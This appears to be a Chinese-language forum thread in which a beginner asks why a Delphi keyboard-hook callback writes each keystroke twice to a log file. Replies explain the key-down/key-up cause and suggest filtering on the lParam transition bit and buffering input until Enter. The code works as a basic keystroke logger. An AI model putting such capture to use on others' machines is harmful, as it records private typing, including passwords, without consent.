function GetInfo(count: Integer; Wp:WPARAM; Lp: LPARAM):LRESULT;stdcall;
var
  info: String;
  Debugfile: TExtFile;
  i: Integer;begin
  if count<0 then
  begin
    CallNextHookEx(MyMessageInfo.Hook,count,Wp,Lp);
    Exit;
  end;
  AssignFile(Debugfile,afile);
  Append(Debugfile);
   i := getkeystate(vk_return);
  if getkeystate(vk_return)<0 then
  begin
  writeln(debugfile,'');
  write(debugfile,char(wp));
  end   //
  else
  write(debugfile,char(wp));
  outputDebugString(PChar(IntToStr(i)));
  closefile(debugfile);
  result:=0;
end;这段程序有什么问题?为什么每次捕捉到的按键都要写两遍,如我按“i",在debug.txt中就有“ii”,
刚接触钩子,请指教!!!

解决方案 »

  1.   

    if getkeystate(vk_return)<0 then//按下时
      begin
      writeln(debugfile,'');
      write(debugfile,char(wp));//写一次
      end 
      else//弹起时,
      write(debugfile,char(wp));//写第二次
      outputDebugString(PChar(IntToStr(i)));
      closefile(debugfile);
      result:=0;
    end;
    所以就出现了两个i
      

  2.   

    试试这样:
    if getkeystate(vk_return)<0 then//
      begin
      writeln(debugfile,'');
      write(debugfile,char(wp));//
      end 
      else//弹起时,
      outputDebugString(PChar(IntToStr(i)));
      closefile(debugfile);
      result:=0;
    end;
      

  3.   

    风大侠,不是啊
    我调试过这个程序,vk_return是‘Enter’的值,只要我不按回车,这个值是不变的,要不一直是1,要不就是0。
    我也觉得是把up和down都执行了,但不知这麽作才能只记录一次按键的值!!!谢谢了·
      

  4.   

    你是以回车表示写入的么??
    你既然都扑捉到了所有键盘操作。。干吗还需要getkeystate直接用 WM_KEYDOWN 消息不就OK??
    你先开辟缓冲区 保存用户的Key in 然后当key为ENter时 一次性将整个缓冲区全部写入到文件 岂不更好??
      

  5.   

    up down两次都执行了
    加入
    KeyPressMask=$80000000;
    (lParam and _KeyPressMask) = 0
    只有在按下时执行